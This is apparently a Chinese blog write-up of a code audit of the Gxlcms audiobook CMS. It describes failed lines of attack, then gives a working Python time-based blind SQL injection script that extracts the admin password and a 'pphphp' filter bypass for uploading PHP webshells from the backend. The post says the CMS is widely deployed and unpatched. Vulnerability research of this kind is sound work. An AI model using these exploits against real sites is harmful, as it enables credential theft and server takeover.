这次审计因为对thinkphp框架的不熟悉,中间走了很多弯路,有些tp框架的特定函数不是太了解,因此看代码看的十分吃力,其实上午就已经审计了一套代码,但是没有找到漏洞。。很气。。
源码下载地址:http://www.mycodes.net/45/9251.htm
Gxlcms听书网系统是一套用于搭建有声小说的PHP建站系统,采用ThinkPHP内核开发,性能强大,操作简单,可以通过采集来丰富自己的网站内容,目前Gxlcms已经免费为大家开通了酷听网资源站免费采集节点。
网上搜了一下,应用这个cms的网站很多,不过好像现在还没给出修补方案!
这里先大概看下网站功能,有没有留言板,有没有文件上传等功能,然后再去针对特定功能进行代码审计,我发现这样效率会高很多。。
这里由于刚安装完cms后没有没有给出一些样例文章,这里我添加了一篇文章
主要还是为了模拟真实网站,不然代码可能有漏洞,但是没有应用接口。。
下面开始说前面的失败思路!
首先看了下没有留言板功能,那么基本不存在xss漏洞了,反射型的就不找了,,鸡肋~
其次这里没有文件上传功能,因此这条路放弃~
到物理路径中去看看是不是存在默认的sql文件,找了下好像要备份才会存在sql文件,找了下好像不存在任意文件读取~
前台的话只可能存在注入了~
下面针对GET、POST参数来进行fuzz
1
|
http://127.0.0.1/?s=ting-show-id-2.html
|
这是目录的url地址,这里应该是伪静态,找一找源码就知道了~
1
2
3
4
5
6
7
|
$dir = I(“get.dir”, “none”, “strip_tags,htmlspecialchars”);
$Url = gxl_param_url();
if ($dir != “none”) {
$Url[“id”] = get_id_by_dir($dir);
$Url[“dir”] = getlistdir($Url[“id”]);
}
|
这里只截取了一部分,,可以看到id这个参数是根据dir来设置的,下面去找找这个getlistdir()函数
1
2
3
4
5
6
7
8
9
10
11
|
function getlistdir($cid)
{
$arr = list_search(F(“_ppting/list”), “list_id=” . $cid);
if (empty($arr)) {
return 0;
}
else {
return $arr[0][“list_dir”];
}
}
|
这里的id是存储在数据库中,不是我们可控的,因此这里不存在注入!
1
|
http://127.0.0.1/?s=ting-search.html
|
这是网站的搜索功能,看看是否存在post 注入
这里同样也是调用的Lib/Home/Action/目录下的,根据功能来找文件还是很方便的
我们很容易就能找到函数位置,SearchAction.class.php!下面跟进函数来看看
1
2
3
4
5
6
7
8
9
10
11
12
|
$wd = I(‘get.wd’,”,‘strip_tags,htmlspecialchars’);
if(isset($wd)){
$where[‘ting_status’] = array(‘eq’,1);
$search[‘ting_name’] = array(‘like’,‘%’.$wd.‘%’);
$search[‘ting_actor’] = array(‘like’,‘%’.$wd.‘%’);
$search[‘ting_director’]= array(‘like’,‘%’.$wd.‘%’);
$search[‘ting_letters’]= array(‘like’,‘%’.$wd.‘%’);
$search[‘_logic’] = ‘or’;
$where[‘_complex’]= $search;
$rs = M(‘Ting’);
$count = $rs->where($where)->count();
$list = $rs->where($where)->field(‘ting_id,ting_cid,ting_name,ting_title,ting_letters’)->limit(10)->select();
|
这里只截取了一部分,不过主要函数基本都覆盖在里面
首先两个过滤函数,strip_tags和htmlspecialchars,心就凉了。。
一个是过滤html标签,一个是转化为HTML实体,,这里想讲的是因为我这里测试的是注入,不是xss,因此这些过滤条件好像无关紧要,但是tp框架自带的单引号转义,在这里无法闭合语句,因此注入在这里也宣告失败!
这里前台唯一仅剩的功能就是我作测试用所发表的一篇文章。。
那么最后的希望来看看吧~
这里由于没有上传附件,,因此跟文件相关的功能(其实这里也不存在文件下载的功能,因为是云播放,只会给一个播放链接)
因此页面还有一个评分的功能,抓包看参数,然后源码回溯~
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /index.php?s=Home–Comm–getcomm–id–21 HTTP/1.1
Host: 127.0.0.13
User–Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept–Language: zh–CN,zh;q=0.8,en–US;q=0.5,en;q=0.3
Accept–Encoding: gzip, deflate
X–Requested–With: XMLHttpRequest
Referer: http://127.0.0.13/?s=ting-read-id-21.html
Cookie: PHPSESSID=7bpnrnulckc7h3ndecfe74d336
X–Forwarded–For: 8.8.8.8
Connection: close
Content–Length: 0
|
这是抓到的第一个包,下面我们根据url路径去寻找函数功能点
1
2
3
4
5
6
7
8
|
$ting_id = $_GET[“id”];
$result = array(“ajaxtxt” => “”);
$total = 0;
if (!empty($ting_id)) {
$rs = D(“User”);
$where = array(“ting_id” => $ting_id, “ispass” => 1);
$total = $rs->getPublicCommentTotal($where);
|
可以看到这里的id没有任何过滤参数,这里没有回显,因此只能使用时间盲注
exp脚本(环境python2.7)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import requests
import string
import time
payload = string.digits+string.lowercase
flag = “”
for i in range(32):
for str in payload:
url = “http://127.0.0.13/index.php?s=Home-Comm-getcomm-id-21”
url+=”) and if(substr((select admin_pwd from gxl_admin),%d,1)=’%s’,sleep(2),sleep(0)) and (‘adog’=’adog’%(i+1,str)
#print url
start_time = time.time()
res = requests.get(url)
if time.time()–start_time>1:
if time.time()–start_time>1:
flag = flag+str
print flag
break
|
直接可以拿到管理员的密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /index.php?s=Home–Comm–mark HTTP/1.1
Host: 127.0.0.13
User–Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept–Language: zh–CN,zh;q=0.8,en–US;q=0.5,en;q=0.3
Accept–Encoding: gzip, deflate
Content–Type: application/x–www–form–urlencoded; charset=UTF–8
X–Requested–With: XMLHttpRequest
Referer: http://127.0.0.13/?s=ting-read-id-21.html
Content–Length: 11
Cookie: PHPSESSID=7bpnrnulckc7h3ndecfe74d336
X–Forwarded–For: 8.8.8.8
Connection: close
val=3&id=21
|
这是第二个包,id为21表示这个文章的序号,val为3表示60分,满分为5
1
|
if (($value == “1”) || ($value == “2”) || ($value == “3”) || ($value == “4”) || ($value == “5”))
|
这里首先value就写好是这个五个,因此value不存在注入
这里意外发现了获取ip的变量,难道存在xff注入?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
if (isset($ting_id) && isset($value)) {
if (($value == “1”) || ($value == “2”) || ($value == “3”) || ($value == “4”) || ($value == “5”)) {
$rs = D(“ting_mark”);
$ip = get_client_ip();
$count = $rs->where(array(“ip” => $ip, “ting_id” => $ting_id))->count();
if (0 < $count) {
$result[“msg”] = “已经评分,请务重复评分”;
$result[“rcode”] = –2;
}
else {
$mark = array();
$mark[“ting_id”] = $ting_id;
$mark[“ip”] = $ip;
$mark[“creat_date”] = time();
$mark[“F” . $value] = 1;
if (0 < $rs->add($mark)) {
$result[“msg”] = “提交评分成功”;
$result[“rcode”] = 1;
$member = D(“User”);
$data = $member->getMark($ting_id);
$rate = $this->getPingfen($data);
if (0 < count($rate)) {
$ting = M(“Ting”);
$ting->save(array(“ting_gold” => $rate[“R1”], “ting_id” => $ting_id));
}
}
}
}
|
可以看到之类有get_client_ip(),跟进去看看有无过滤什么的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
function get_client_ip($type = 0,$adv=false) {
$type = $type ? 1 : 0;
static $ip = NULL;
if ($ip !== NULL) return $ip[$type];
if($adv){
if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {
$arr = explode(‘,’, $_SERVER[‘HTTP_X_FORWARDED_FOR’]);
$pos = array_search(‘unknown’,$arr);
if(false !== $pos) unset($arr[$pos]);
$ip = trim($arr[0]);
}elseif (isset($_SERVER[‘HTTP_CLIENT_IP’])) {
$ip = $_SERVER[‘HTTP_CLIENT_IP’];
}elseif (isset($_SERVER[‘REMOTE_ADDR’])) {
$ip = $_SERVER[‘REMOTE_ADDR’];
}
}elseif (isset($_SERVER[‘REMOTE_ADDR’])) {
$ip = $_SERVER[‘REMOTE_ADDR’];
}
// IP地址合法验证
$long = sprintf(“%u”,ip2long($ip));
$ip = $long ? array($ip, $long) : array(‘0.0.0.0’, 0);
return $ip[$type];
}
|
一开始都没过滤,直接拿ip,但是最后有个ip验证,这里稍微查了下ip2long函数,大意就是将ip转化为无符号整形,,好像不存在sql注入~
最后这个id变量好像是存储在数据库里的,我们不可控。。到这里前台的审计就告一段落
下面讲讲后台的一个getshell实例
这里附件设置,我们可以直接添加附件上传类型,但是当我加上一个php后,竟然没了。。仿佛就是preg_replace搞得鬼。。然后去源码看了下,,才发现了一个漏洞
1
|
$upload_class = str_replace(array(“php”, “asp”, “apsx”, “txt”, “asax”, “ascx”, “cdx”, “cer”, “cgi”, “jsp”, “html”, “html”, “htm”, “,,”), “”, strtolower(C(“upload_class”)));
|
将这些字符串进行替换处理,,多少次注入绕过,漏洞代码就是这么写的。。
这里我添加的是pphphp,由于会替换php为空,这里会将中间的第一个php删掉,最后留下php
后台貌似还有很多漏洞。。就不一一列举了~都已经能getshell了,,其他漏洞就显得不是那么重要了(回去好好看tp框架代码了。。)~
如有不当之处,敬请指出!
维吉尼亚作为古典密码,本身的加解密并不是很难,因此也就有了这篇文章~ 下面初步解释下维吉尼亚密码的加密原理,假设现在有明文‘a’,加密密钥为‘b’,然后我们参照上面的维吉尼亚密码表进行加密,在a行的b列即为我们加密过后的密文,在这里我们的密文即为‘b’。同理,…
请登录后发表评论
注册